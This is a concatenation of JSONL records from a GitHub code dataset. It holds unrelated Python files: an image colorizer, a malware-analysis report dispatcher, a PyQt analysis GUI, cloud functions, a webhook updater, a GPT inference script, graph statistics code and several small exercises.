get_artistic_image_colorizer(root_folder=root_folder, render_factor=render_factor)\r\n else:\r\n return get_stable_image_colorizer(root_folder=root_folder, render_factor=render_factor)\r\n\r\n\r\ndef get_stable_image_colorizer(\r\n root_folder: Path = Path('./'),\r\n weights_name: str = 'ColorizeStable_gen',\r\n results_dir='result_images',\r\n render_factor: int = 35\r\n) -> ModelImageVisualizer:\r\n learn = gen_inference_wide(root_folder=root_folder, weights_name=weights_name)\r\n filtr = MasterFilter([ColorizerFilter(learn=learn)], render_factor=render_factor)\r\n vis = ModelImageVisualizer(filtr, results_dir=results_dir)\r\n return vis\r\n\r\n\r\ndef get_artistic_image_colorizer(\r\n root_folder: Path = Path('./'),\r\n weights_name: str = 'ColorizeArtistic_gen',\r\n results_dir='result_images',\r\n render_factor: int = 35\r\n) -> ModelImageVisualizer:\r\n learn = gen_inference_deep(root_folder=root_folder, weights_name=weights_name)\r\n filtr = MasterFilter([ColorizerFilter(learn=learn)], render_factor=render_factor)\r\n vis = ModelImageVisualizer(filtr, results_dir=results_dir)\r\n return vis\r\n\r\n","repo_name":"enpeizhao/CVprojects","sub_path":"codes/21.GAN老照片上色动起来/DeOldify/deoldify/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":1748,"dataset":"github-code","pt":"53"}
+{"seq_id":"2316766467","text":"\"\"\" Reporter Class\n\nThis class manages the reporting part.\nManual: for the api or html reporting for exemple.\nAutomated: for sending mail or MISP for exemple\n\nModules for automated part are autoloaded. They need tro be on the lama.remoter.automated package.\nModules for manual reporting need to be added on the make_repport function.\n\n\"\"\"\n\n__author__ = \"Valentin Giannini\"\n__copyright__ = \"Copyright 2016, LAMA\"\n__credits__ = [\"\"]\n__license__ = \"GPL\"\n__version__ = \"3\"\n__maintainer__ = \"Valentin Giannini - CSE Team\"\n__email__ = \"cse.contact -at- post.lu\"\n__status__ = \"Production\"\n\n\nfrom lama.reporter.automated import *\nfrom lama.models.analysis import Analysis\nfrom lama.reporter.json_reporter import JsonReporter\nfrom lama.reporter.html_reporter import HtmlReporter\nfrom lama.reporter.automated_reporter import AutomatedReporter\n\n\nclass Reporter(object):\n \"\"\"\n Reporter class\n \"\"\"\n\n @staticmethod\n def make_automated_report(analysis):\n \"\"\"\n Call by the dispatcher when an analysis if finished.\n It call on each automated module the function run()\n \"\"\"\n for rep in AutomatedReporter:\n r = rep()\n r.run(analysis)\n\n @staticmethod\n def make_report(analysis_uid, report_type=\"json\"):\n \"\"\"\n Static make_report method\n Generate the report for givent format (json, html)\n\n Args :\n **analysis_id** (int) : Id of analysis.\n **report_type** (string) : Type of output format (json)\n \"\"\"\n report_type = report_type.lower()\n analysis = Analysis.find_by_uid(analysis_uid)\n if analysis:\n if report_type == \"json\":\n # make json report\n return \"\" + JsonReporter.make_report(analysis) + \"
\"\n if report_type == \"html\":\n # make html report\n return HtmlReporter.make_report(analysis)\n # type no found\n return \"Doesn't exists\"\n","repo_name":"post-cyberlabs/lama","sub_path":"lama/reporter/reporter.py","file_name":"reporter.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"25198267032","text":"class Solution:\n def removeDuplicates(self, nums: List[int]) -> int:\n uniqueIndex = 1 # index to place next unique value\n for index in range(1, len(nums)):\n # iterate through the array \n # keep placing unique values at above index\n if nums[index] != nums[index - 1]:\n nums[uniqueIndex] = nums[index]\n uniqueIndex += 1\n return uniqueIndex\n","repo_name":"Reflectrr/leetcode","sub_path":"26.remove_duplicates_from_sorted_array.py","file_name":"26.remove_duplicates_from_sorted_array.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"33359476865","text":"import os\nimport sys\n\nfrom PyQt5.QtGui import QIcon\nfrom matplotlib.backends.qt_compat import QtWidgets, QtCore, QtGui\nfrom PyQt5.QtWidgets import QApplication, QWidget, QTableWidget, QTableWidgetItem, QPushButton, QHeaderView, QHBoxLayout, QVBoxLayout\nimport lda_screen\nimport meta\nimport svm_screen\nfrom fonts import *\nimport pandas as pd\nfrom PyQt5.QtCore import pyqtSignal, QObject\n\nclass AnalyzeApp(QtWidgets.QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.resize(1050, 800)\n self.centralwidget = QtWidgets.QWidget()\n self.setCentralWidget(self.centralwidget)\n\n icon = QIcon(\"icon.ico\")\n self.setWindowIcon(icon)\n\n self.loadDataButton = QtWidgets.QPushButton(self.centralwidget)\n self.loadDataButton.setGeometry(QtCore.QRect(20, 700, 1010, 40))\n self.loadDataButton.setFont(buttonFont)\n self.loadDataButton.setAutoDefault(False)\n self.loadDataButton.clicked.connect(self.loadData)\n\n self.svmButton = QtWidgets.QPushButton(self.centralwidget)\n self.svmButton.setGeometry(QtCore.QRect(20, 740, 504, 40))\n self.svmButton.setFont(buttonFont)\n self.svmButton.setAutoDefault(False)\n self.svmButton.clicked.connect(self.onSvmClicked)\n\n self.ldaButton = QtWidgets.QPushButton(self.centralwidget)\n self.ldaButton.setGeometry(QtCore.QRect(525, 740, 504, 40))\n self.ldaButton.setFont(buttonFont)\n self.ldaButton.setAutoDefault(False)\n self.ldaButton.clicked.connect(self.onLdaClicked)\n\n self.table = QtWidgets.QTableWidget()\n central_widget = QtWidgets.QWidget()\n layout = QtWidgets.QVBoxLayout(central_widget)\n\n layout.addWidget(self.table)\n layout.addWidget(self.loadDataButton)\n layout.addWidget(self.svmButton)\n layout.addWidget(self.ldaButton)\n self.setCentralWidget(central_widget)\n\n self.retranslateUi()\n QtCore.QMetaObject.connectSlotsByName(self)\n\n def loadData(self):\n path, _ = QtWidgets.QFileDialog.getOpenFileName(self, 'Select XLSX File', os.path.dirname(__file__), \"Excel Files (*.xlsx)\")\n\n if path:\n file_name = os.path.basename(path)\n file_path = os.path.dirname(path)\n self.showData(file_path + file_name)\n def showData(self, path):\n print(path)\n\n self.df = pd.read_excel(path.strip())\n if self.df.size == 0:\n return\n\n self.df.fillna('', inplace=True)\n self.table.setRowCount(self.df.shape[0])\n self.table.setColumnCount(self.df.shape[1])\n self.table.setHorizontalHeaderLabels(self.df.columns)\n\n # returns pandas array object\n for row in self.df.iterrows():\n values = row[1]\n for col_index, value in enumerate(values):\n if isinstance(value, (float, int)):\n value = '{0:0,.4f}'.format(value)\n tableItem = QTableWidgetItem(str(value))\n self.table.setItem(row[0], col_index, tableItem)\n\n self.table.setColumnWidth(2, 300)\n\n def getDataFrameFromTable(self):\n data = []\n\n for row in range(self.table.rowCount()):\n rowData = []\n for col in range(self.table.columnCount()):\n item = self.table.item(row, col)\n if item is not None:\n rowData.append(item.text())\n else:\n rowData.append(\"\")\n data.append(rowData)\n\n headers = self.df.columns.tolist()\n return pd.DataFrame(data , columns=headers)\n\n def onSvmClicked(self):\n self.svmScreen = svm_screen.SvmAnalyze(self.getDataFrameFromTable())\n self.svmScreen.show()\n\n def onLdaClicked(self):\n self.ldaScreen = lda_screen.LdaAnalyze(self.getDataFrameFromTable())\n self.ldaScreen.show()\n\n def onRemoveButtonClicked(self):\n pass\n\n def onAddButtonClicked(self):\n pass\n\n def retranslateUi(self):\n _translate = QtCore.QCoreApplication.translate\n self.setWindowTitle(_translate(\"AnalyzeWindow\", \"Analyze Screen\"))\n self.loadDataButton.setText(_translate(\"AnalyzeWindow\", \"Load Data\"))\n self.svmButton.setText(_translate(\"AnalyzeWindow\", \"SVM\"))\n self.ldaButton.setText(_translate(\"AnalyzeWindow\", \"LDA\"))\n","repo_name":"amir00462/ElectronicNose","sub_path":"analyze_screen.py","file_name":"analyze_screen.py","file_ext":"py","file_size_in_byte":4339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18207656437","text":"# This python script just converts between different formats of RGB values,\n# like #FFFFFF or (255, 255, 255)\n\ndef hex_str2num(string):\n string_c = string\n string = string[1:]\n\n if len(string) == 6: \n print(string_c + \"\\t=> \", end='')\n for i in range(0, 6, 2):\n temp = string[i]\n temp += string[i+1]\n\n num = int(temp, 16)\n\n print(num, end=' ') \n\n elif len(string) == 3: \n print(string_c + \"\\t=> \", end='')\n for i in range(0, 3):\n temp = string[i]\n\n num = int(temp, 16)**2\n\n print(num, end=' ')\n\n else:\n print(\"please make sure input is right format... example: #FAFAFA\")\n\n print(\"\")\n\n# Values greater than 255 will just return '00'\ndef hex_num2str(rgb_values):\n rgb_str = \"#\"\n for i in range(0, 3):\n buffer = int(rgb_values[i])\n buffer = hex(buffer)\n buffer = buffer[2:]\n buffer = buffer.zfill(2).upper()\n\n rgb_str += buffer\n\n print(\"%s, %s, %s => %s\" % (rgb_values[0], \n rgb_values[1],\n rgb_values[2],\n rgb_str))\n\nhex_str2num(\"#0FFFFF\")\nrgb_values = ['15', '255', '255']\nhex_num2str(rgb_values)\n","repo_name":"LeonardoLoureiro/Mini_Projects","sub_path":"Programs/Hex_Converter.py","file_name":"Hex_Converter.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"29356963885","text":"import plotly_express as px\nimport pandas as pd\n\n# import data\nstocks_df = pd.read_csv(\"../data/all_stocks_5yr.csv\")\n\nprint(stocks_df.head())\n\napple = stocks_df[stocks_df['Name'] =='AAPL']\n\napple_stock_plot = px.line(x='date', y='open', data_frame=apple,\n title=\"Apple stock Open Prices\")\n\napple_stock_plot.show()\n\n","repo_name":"thefullstackninja/plotly_express_tutorial","sub_path":"lineplots/stock_line_plots.py","file_name":"stock_line_plots.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"30092695030","text":"from google.cloud import datastore\nimport simplejson as json\n\n\ndef hello(request):\n \n return 'Hello World!'\n\n\ndef get_todo(request):\n \n client = datastore.Client()\n query = client.query(kind='Todo')\n \n result = ''\n\n for entity in query.fetch():\n result += str(entity['name']) + ','\n\n return result\n\n\ndef add_todo(request):\n \n data = json.loads(request.data.decode('utf-8'))\n \n client = datastore.Client()\n entity = datastore.Entity(key=client.key('Todo'))\n\n entity.update({\n 'name': str(data['name'])\n })\n\n client.put(entity)\n\n return 'ok'","repo_name":"ikedanatsuko/study_cloudfunctions","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70185396969","text":"import hmac\nimport asyncio\n\nimport yaml\n\nfrom aiohttp import web\n\nfrom cli import args\nfrom rpc import (\n init_rpc, stop_rpc, RPC_COMMAND_RESTART_UPDATER, RPC_COMMAND_RESTART_API,\n RPC_COMMAND_PULL_UPDATER, RPC_COMMAND_PULL_API\n )\nfrom migrate import migrate\nfrom utils import pull, clean_exit\n\n\nasync def on_startup(app: web.Application) -> None:\n await migrate(app)\n await init_rpc(app)\n\n\nasync def on_cleanup(app: web.Application) -> None:\n await stop_rpc(app)\n\n\nasync def verify_github_request(req: web.Request) -> None:\n header_signature = req.headers.get(\"X-Hub-Signature\")\n if not header_signature:\n raise web.HTTPUnauthorized(reason=\"Missing signature header\")\n\n secret = req.app[\"config\"][\"github-webhook-token\"]\n\n sha_name, delim, signature = header_signature.partition(\"=\")\n if not (sha_name or delim or signature):\n raise web.HTTPUnauthorized(reason=\"Bad signature header\")\n\n mac = hmac.new(secret.encode(), msg=await req.read(), digestmod=\"sha1\")\n\n if not hmac.compare_digest(mac.hexdigest(), signature):\n raise web.HTTPUnauthorized(reason=\"Hashes did not match\")\n\n\nasync def update_updaters() -> None:\n await app[\"rpc_client\"].call(RPC_COMMAND_PULL_UPDATER, timeout=15)\n\n # TODO: only restart nodes with successfull pull\n\n await app[\"rpc_client\"].call(\n RPC_COMMAND_RESTART_UPDATER, {\"node\": app[\"rpc_server\"].node}\n )\n\n # update self\n clean_exit()\n\n\nasync def update_apis() -> None:\n await app[\"rpc_client\"].call(RPC_COMMAND_PULL_API, timeout=15)\n\n # TODO: only restart nodes with successfull pull\n\n await app[\"api_rpc_client\"].call(RPC_COMMAND_RESTART_API)\n\n\nasync def updater_wh(req: web.Request) -> web.Response:\n await verify_github_request(req)\n\n print(\"UPDATER webhook fired\")\n\n asyncio.create_task(update_updaters())\n\n return web.Response()\n\n\nasync def api_wh(req: web.Request) -> web.Response:\n await verify_github_request(req)\n\n print(\"API webhook fired\")\n\n asyncio.create_task(update_apis())\n\n return web.Response()\n\n\nif __name__ == \"__main__\":\n pull(\"/code\")\n\n app = web.Application()\n\n with open(args.config_file, \"r\") as f:\n app[\"config\"] = yaml.load(f, Loader=yaml.SafeLoader)\n\n app[\"args\"] = args\n\n app.on_startup.append(on_startup)\n app.on_cleanup.append(on_cleanup)\n\n app.add_routes([web.post(\"/wh/github/updater\", updater_wh)])\n app.add_routes([web.post(\"/wh/github/api\", api_wh)])\n\n web.run_app(app, host=app[\"args\"].host, port=app[\"args\"].port)\n","repo_name":"IOMirea/messenger-updater","sub_path":"updater/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"37928778006","text":"import gzip\nimport os\nimport sys\nimport pickle\nimport json\nimport time\nimport glob\nimport random\nimport shutil\nimport pathlib\nimport logging\nimport datetime\nimport argparse\nimport pandas as pd\nimport openai\nfrom distutils.util import strtobool\n\n\n\nMODEL_MAPPING = {\n 'instructgpt': 'text-davinci-003',\n 'gpt3': 'text-davinci-002',\n 'text-davinci-003': 'text-davinci-003',\n 'text-davinci-002': 'text-davinci-002',\n 'code-davinci-002': 'code-davinci-002',\n 'chatGPT' : 'gpt-3.5-turbo'\n}\n\n# Configs\nlogger = logging.getLogger('logger')\n\ndef load_parser_and_args():\n parser = argparse.ArgumentParser()\n ### directory ###\n parser.add_argument('--base_dir', type=str, default='/home/intern/sblee/sblee/Samsung')\n parser.add_argument('--task_dir', type=str, default='/home/intern/sblee/sblee/Samsung/rationale/data/preprocessed_te_apoe_q21.pickle')\n parser.add_argument('--prompt', type=str, default='prompt6')\n\n ### model parameters ###\n parser.add_argument('--model_type', type=str, default='chatGPT')\n parser.add_argument('--max_tokens', type=int, default=2048)\n parser.add_argument('--temperature', type=float, default=0)\n parser.add_argument('--top_p', type=float, default=1.0)\n parser.add_argument('--frequency_penalty', type=float, default=1.0)\n parser.add_argument('--presence_penalty', type=float, default=0.0)\n parser.add_argument('--num_samples', type=int, default=0)\n\n args = parser.parse_args()\n \n args.output_dir = os.path.join(args.base_dir, 'results')\n args.model_name_or_path = MODEL_MAPPING[args.model_type]\n return parser, args\n\n\n\ndef init_logger(args):\n if not os.path.exists(args.output_dir):\n os.makedirs(args.output_dir)\n handler = logging.FileHandler(os.path.join(args.output_dir, '{}_{:%Y-%m-%d-%H:%M:%S}.log'.format(args.prompt, datetime.datetime.now())), encoding='utf=8')\n logger.addHandler(handler)\n logging.basicConfig(\n format=\"%(asctime)s - %(levelname)s - %(name)s - %(message)s\",\n datefmt=\"%m/%d/%Y %H:%M:%S\",\n level=logging.INFO\n )\n logger.warning(args)\n\n\n\ndef corr_ans(inp=str):\n inp = inp.lower().replace('\\n','')\n output = list(inp.split())\n output_len = len(output)\n frt_output = \" \".join(output[:])\n answer = 0\n \n if 'normal cognition' in frt_output : answer = 'CN'\n elif 'mild cognitive impairment' in frt_output : answer = 'MCI'\n elif 'dementia' in frt_output : answer = 'Dementia'\n else : \n if output_len < 7 :\n if 'normal' in inp : answer = 'CN'\n elif 'mild' in inp : answer = 'MCI'\n elif 'dementia' in inp : answer = 'Dementia'\n else : \n if 'normal' in frt_output : answer = 'CN'\n elif 'mild' in frt_output : answer = 'MCI'\n elif 'dementia' in frt_output : answer = 'Dementia'\n \n return answer\n\n\n\ndef Accuracy(prediction):\n\n filenames = [k for k, v in prediction.items()]\n groundtruths = [v['groundtruth'] for k, v in prediction.items()]\n predictions = [corr_ans(v['prediction']) for k, v in prediction.items()]\n\n df = pd.DataFrame(zip(filenames, groundtruths, predictions), columns=['file name', 'groundtruth', 'prediction'])\n df['accurate'] = df['prediction'] == df['groundtruth']\n\n return df['accurate'].sum()/len(df)\n\n\n\nclass GPT(object):\n def __init__(self, args):\n self.model_name = args.model_name_or_path\n self.max_tokens = args.max_tokens\n self.temperature = args.temperature\n self.top_p = args.top_p\n self.frequency_penalty = args.frequency_penalty\n self.presence_penalty = args.presence_penalty\n self.cur_idx = -1\n self.cur_req = 0\n\n def login_to_openai(self, keys, cur_idx):\n openai.api_key = keys[cur_idx] \n\n def set_new_key(self):\n with open('keys.json') as f:\n keys = json.load(f)\n self.cur_idx += 1\n self.cur_idx = self.cur_idx % len(keys)\n self.login_to_openai(keys, self.cur_idx)\n\n def inference(self, prompt, return_raw=False):\n timeout_stack = 0\n while True:\n if self.cur_req >= 15:\n time.sleep(60)\n self.cur_req = 0\n try:\n if self.model_name == 'gpt-3.5-turbo': # chatGPT\n output = openai.ChatCompletion.create( \n model = self.model_name,\n messages=[\n {\"role\":\"system\", \"content\": prompt},\n ]\n )\n break\n else :\n output = openai.Completion.create( \n engine=self.model_name,\n prompt=prompt,\n n=1, # How many completions to generate for each prompt.\n max_tokens=self.max_tokens,\n temperature=self.temperature,\n frequency_penalty=self.frequency_penalty,\n presence_penalty=self.presence_penalty,\n logprobs=1\n )\n break\n\n except Exception as e:\n timeout_stack += 1\n if timeout_stack >= 3:\n logger.info(\"Change to another key\")\n self.set_new_key()\n timeout_stack = 0\n time.sleep(60)\n if return_raw:\n return output\n\n if self.model_name == 'gpt-3.5-turbo' :\n return output['choices'][0]['message']['content'] # chatGPT\n else : \n return output['choices'][0]['text'] \n\n\n\ndef main(args):\n if not os.path.exists(args.output_dir):\n os.makedirs(args.output_dir)\n \n # setup logging\n init_logger(args)\n\n # load model\n prediction = dict()\n model = GPT(args)\n model.set_new_key()\n\n # load data\n with gzip.open(args.task_dir, 'r') as f:\n fr = pickle.load(f)\n \n\n for t in fr:\n idx = t['file name']\n input_dict = {}\n name_list = ['label', 'age', 'sex', 'educ', 'marriage', 'apoe', 'mmse', 'fmri']\n for name in name_list:\n input_dict[name] = t[name]\n for id in range(22):\n input_dict['q{}'.format(id)] = t['q{}'.format(id)]\n\n # prompt making\n with open(os.path.join(args.base_dir, 'prompt', '{}.json'.format(args.prompt)), 'r') as f:\n prompt = f.read()\n model_input = prompt.format(**input_dict)\n\n logger.info(\"***** Model Input *****\")\n logger.info(model_input)\n\n # inference\n pred = model.inference(model_input)\n logger.info(\"***** Model Output *****\")\n logger.info({input_dict['label'] : pred})\n\n # saving\n prediction[idx] = {'groundtruth' : input_dict['label'] , 'prediction' : pred}\n \n # accuracy\n accr = Accuracy(prediction)\n logger.info(\"accuracy: {}\".format(accr))\n\n result = {'accuracy' : accr, 'predictions' : prediction }\n\n with open(os.path.join(args.output_dir, '{}_{:%Y-%m-%d-%H:%M:%S}_predicted_results.json'.format(args.prompt, datetime.datetime.now())), 'w', encoding='utf-8') as f:\n json.dump(result, f, indent=2)\n\n return accr\n\nif __name__ == \"__main__\":\n parser, args = load_parser_and_args()\n main(args)","repo_name":"seunbite/Medical","sub_path":"gpt_infer.py","file_name":"gpt_infer.py","file_ext":"py","file_size_in_byte":7394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"4238217325","text":"import os\n\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\nfrom tensorflow.keras.utils import array_to_img\n\n\ndef get_dirs(save_dir):\n checkpoint_dir = os.path.join(save_dir, \"model_ckpts/ckpts\")\n log_dir = os.path.join(save_dir, \"tf_logs\")\n save_path = os.path.join(save_dir, \"training_progress\")\n\n os.makedirs(checkpoint_dir, exist_ok=True)\n os.makedirs(log_dir, exist_ok=True)\n os.makedirs(save_path, exist_ok=True)\n\n return checkpoint_dir, log_dir, save_path\n\n\ndef generate_images(model, test_input, target, save_path, step):\n prediction = model(test_input)\n\n if step % 500 == 0:\n plt.figure(figsize=(9, 3))\n\n display_list = [test_input[0], target[0], prediction[0]]\n title = ['Input Image', 'Ground Truth', 'Predicted Image']\n\n for i in range(3):\n plt.subplot(1, 3, i + 1)\n plt.title(title[i])\n plt.imshow(display_list[i] * 0.5 + 0.5)\n plt.axis('off')\n plt.tight_layout()\n plt.show()\n\n try:\n img = array_to_img(prediction[0] * 0.5 + 0.5)\n img.save(f'{save_path}/{step//100}.png')\n except Exception as e:\n print(e)\n pass\n","repo_name":"kmnis/comicface.ai","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"31622702508","text":"# a,b = map(int,input().split())\n# a = list(map(int,input().split()))\n# a = [list(map(int,input().split())) for _ in range(n)]\n\nimport sys\nimport os\nf = open('../../input.txt', 'r')\nsys.stdin = f\n\nfrom collections import deque\n\nw,h = map(int,input().split())\nn = int(input())\ntapes = [list(map(int,input().split())) for _ in range(n)]\n\n# まずは座標圧縮 O(NlogN)\nset_x = {0,w}\nset_y = {0,h}\nfor tape in tapes:\n set_x.add(tape[0])\n set_x.add(tape[2])\n set_y.add(tape[1])\n set_y.add(tape[3])\n\nlist_x = sorted(list(set_x))\nlist_y = sorted(list(set_y))\n\ndic_x = {}\ndic_y = {}\nfor list_, dic_ in zip([list_x, list_y], [dic_x, dic_y]):\n for i,val in enumerate(list_):\n dic_[val] = i\n\nfor i in range(n):\n x1,y1,x2,y2 = tapes[i]\n tapes[i][0] = dic_x[x1]\n tapes[i][1] = dic_y[y1]\n tapes[i][2] = dic_x[x2]\n tapes[i][3] = dic_y[y2]\n\n# imos法でテープの張られていない領域を求める O(N^2)\nw = len(list_x)-1\nh = len(list_y)-1\n\nimos = [[0] * (w+1) for _ in range(h+1)]\n\nfor tape in tapes:\n x1,y1,x2,y2 = tape\n imos[y1][x1] += 1\n imos[y1][x2] += -1\n imos[y2][x1] += -1\n imos[y2][x2] += 1\n\nfor i in range(h+1):\n for j in range(1,w+1):\n imos[i][j] += imos[i][j-1]\n\nfor i in range(1,h+1):\n for j in range(w+1):\n imos[i][j] += imos[i-1][j]\n\n# 左右に全探索する y*10000+xを座標情報にしておく。 O(N^2)\nwhites = set()\nfor i in range(h):\n for j in range(w):\n if(imos[i][j] == 0):\n whites.add(i*10000+j)\n\nd = deque()\nans = 0\nwhile(whites):\n ans += 1\n start = whites.pop()\n d.append(start)\n while(d):\n now = d.pop()\n for pl in [1,-1,10000,-10000]:\n next = now + pl\n if( next in whites):\n d.append(next)\n whites.remove(next)\n\nprint(ans)\n\n# 実装25分、バグとり30分\n# テープ右上の座標と、imosで扱うべき座標をうまく整理できていなかった\n# → 49~52行目でx2,y2をx2+1,y2+1にしてしまっていた。\n\n\n# for i in imos:\n# print(i)\n","repo_name":"komajun365/competitive_programming","sub_path":"JOI/joi2008ho/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73142346408","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef scatter_plot(features, labels, details):\n \"\"\"\n Do a scatter plot of points with boolean labels.\n\n :param features: a list of (x, y) points\n :param labels: a list of labels for each point\n :param details: a map of label to color and legend context\n \"\"\"\n (x, y), = np.dstack(features)\n labels = np.array(labels)\n for i, ctx in details.items():\n s = np.where(labels == i)\n plt.scatter(x[s], y[s], **ctx)\n\n\ndef decision_boundry_plot(clf):\n \"\"\"\n We make a \"grid\" of every point in the graph and make a prediction and plot\n the results\n \"\"\"\n steps = np.arange(0.0, 1.1, 0.01)\n x, y = np.meshgrid(steps, steps)\n map_features = np.c_[x.ravel(), y.ravel()]\n graph_labels = clf.predict(map_features)\n c = graph_labels.reshape(x.shape)\n plt.pcolormesh(x, y, c, cmap=plt.get_cmap('seismic'))\n\n\ndef prettyPicture(clf, features_test, labels_test):\n plt.close()\n decision_boundry_plot(clf)\n scatter_plot(features_test, labels_test, {\n 0: {'c': 'b', 'label': 'test_fast'},\n 1: {'c': 'r', 'label': 'test_slow'},\n })\n\n plt.xlim(0.0, 1.0)\n plt.ylim(0.0, 1.0)\n plt.xlabel(\"bumpiness\")\n plt.ylabel(\"grade\")\n plt.legend()\n plt.show()\n","repo_name":"clayg/udacity","sub_path":"ud120/5.08/tools/class_vis.py","file_name":"class_vis.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35113738735","text":"import os\nimport math\nimport random\nrandom.seed(10)\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport torch\nimport networkx as nx\ntorch.manual_seed(120)\nfrom torch.utils.data import random_split, Dataset\nfrom torch_geometric.data import Data\nfrom torch_geometric.utils import subgraph, to_undirected\nfrom torch_geometric.datasets import EmailEUCore\n# from datasets.abstract_dataset import AbstractDataModule, AbstractDatasetInfos\nimport torch.nn.functional as F\nimport numpy as np\nfrom sklearn import metrics\nfrom torch_geometric.utils.convert import from_networkx\nfrom itertools import combinations\n\nimport torch\nfrom torch_geometric.datasets import Planetoid,SNAPDataset, StochasticBlockModelDataset, AttributedGraphDataset\nimport torch_geometric.transforms as T\nfrom torch_geometric.nn import GCNConv\nfrom torch_geometric.utils import train_test_split_edges\nfrom graph_statistics import compute_graph_statistics\nfrom graph_statistics import power_law_alpha,gini\nimport pandas as pd\n# import seaborn as sns\nimport pickle\n\n\n\ndef mmd_rbf(X, Y, gamma=1.0):\n \"\"\"MMD using rbf (gaussian) kernel (i.e., k(x,y) = exp(-gamma * ||x-y||^2 / 2))\n Arguments:\n X {[n_sample1, dim]} -- [X matrix]\n Y {[n_sample2, dim]} -- [Y matrix]\n Keyword Arguments:\n gamma {float} -- [kernel parameter] (default: {1.0})\n Returns:\n [scalar] -- [MMD value]\n \"\"\"\n XX = metrics.pairwise.rbf_kernel(X, X, gamma)\n YY = metrics.pairwise.rbf_kernel(Y, Y, gamma)\n XY = metrics.pairwise.rbf_kernel(X, Y, gamma)\n return XX.mean() + YY.mean() - 2 * XY.mean()\n\n\ndef squares(G, nodes=None):\n r\"\"\"Borrowed from networkx square clustering, this could be made much more efficient.\n \"\"\"\n if nodes is None:\n node_iter = G\n else:\n node_iter = G.nbunch_iter(nodes)\n squares = 0\n for v in node_iter:\n for u, w in combinations(G[v], 2):\n squares += len((set(G[u]) & set(G[w])) - {v})\n return squares/4\n\ndegrees = []\npower_stats = []\nedge_syn_lists = []\nassortativity = []\ncluster = []\ngini_coef = []\nfor i in range(1,11,1):\n with open('outputs/email-eucore_stop_thresh_syngr_30ktrain_rw_200e_grsize40_batch32_right_progressive_percentage/15-51-32/' +str(i)+'_edge_list.pkl','rb') as f:\n # edge_list_syn = []\n # for edge in f.readlines():\n # e = edge.decode().strip('\\n').split(',')\n #\n edge_list_syn = pickle.load(f)\n edge_syn_lists.append(edge_list_syn)\n\n syn_graph = nx.from_edgelist(edge_list_syn, create_using=nx.Graph())\n deg =sorted((d for n, d in syn_graph.degree()), reverse=True)\n\n degrees.append(np.unique(deg, return_counts=True))\n\n # graphs.data.edge_index = to_undirected(graphs.data.edge_index)\n # edge_list_tensor = to_undirected(graphs.data.edge_index)\n # edge_list_tensor = edge_list_tensor.transpose(0, 1)\n # edge_list = [(int(i[0]), int(i[1])) for i in edge_list_tensor]\n # real_graph = nx.from_edgelist(edge_list)\n gini_coef.append(gini(nx.to_scipy_sparse_array(syn_graph)))\n power_stats.append(power_law_alpha(nx.to_scipy_sparse_array(syn_graph)))#sum(nx.triangles(syn_graph.to_undirected()).values()) / 3)\n assortativity.append(nx.degree_assortativity_coefficient(syn_graph))\n cluster.append(nx.average_clustering(syn_graph))\n\nprint(degrees[0])\n\nwith open('outputs/Synthetic_benchmark/DSBM_edge_list_sbm.pkl','rb') as f:\n edge_list_syn = pickle.load(f)\n# plot lines\n# plt.plot(list(range(10)), triangle_stats, label = \"Unif 100 epochs\", color ='blue',linestyle = 'dashed')\n\n# df = pd.DataFrame({'assort.': assortativity,\n# 'real assort.':[-0.01099 for i in range(10)],\n# 'syn pow law':power_stats,\n# 'real pow law': [1.3613 for i in range(10)],\n# 'syn. clust. coef.':cluster,\n# 'real. clust. coef.':[0.39935 for i in range(10)],\n# 'gini coef.':gini_coef,\n# 'real gini coef.':[0.57105 for i in range(10)]})\n#\n#\n#\n#\n# sns.set_style(\"darkgrid\")\n#\n#\n# fig,axs = plt.subplots(2,2)\n\n# a=sns.histplot(degrees[0],ax=axs[0])\n\n# g = sns.FacetGrid(data=df)#, palette=['red', 'red', 'blue', 'blue', 'purple', 'purple','green','green'])#,markers=True)\n# g.map(plt.plot)\n\n\n\n\n# g.set_xticks(range(len(df)))\n# g.set_xticklabels([10*i for i in range(1,11,1)])\n#\n#\n# axs[0,0].plot([10*i for i in range(1,11,1)], assortativity, label = \"syn assort.\", color ='blue', linestyle = 'dashed', marker = '*')\n# axs[0,0].plot([10*i for i in range(1,11,1)], [-0.01099 for i in range(10)], label = \"real assort.\", color ='blue')\n# axs[0,0].set_xlabel(\"Percentage of |E|\")\n# axs[0,0].set_ylabel('Assortativity')\n# # axs[0,0].legend()\n#\n#\n# axs[0,1].plot([10*i for i in range(1,11,1)], power_stats, label = \"syn assort.\", color ='purple', linestyle = 'dashed',marker = '*')\n# axs[0,1].plot([10*i for i in range(1,11,1)], [1.3613 for i in range(10)], label = \"real 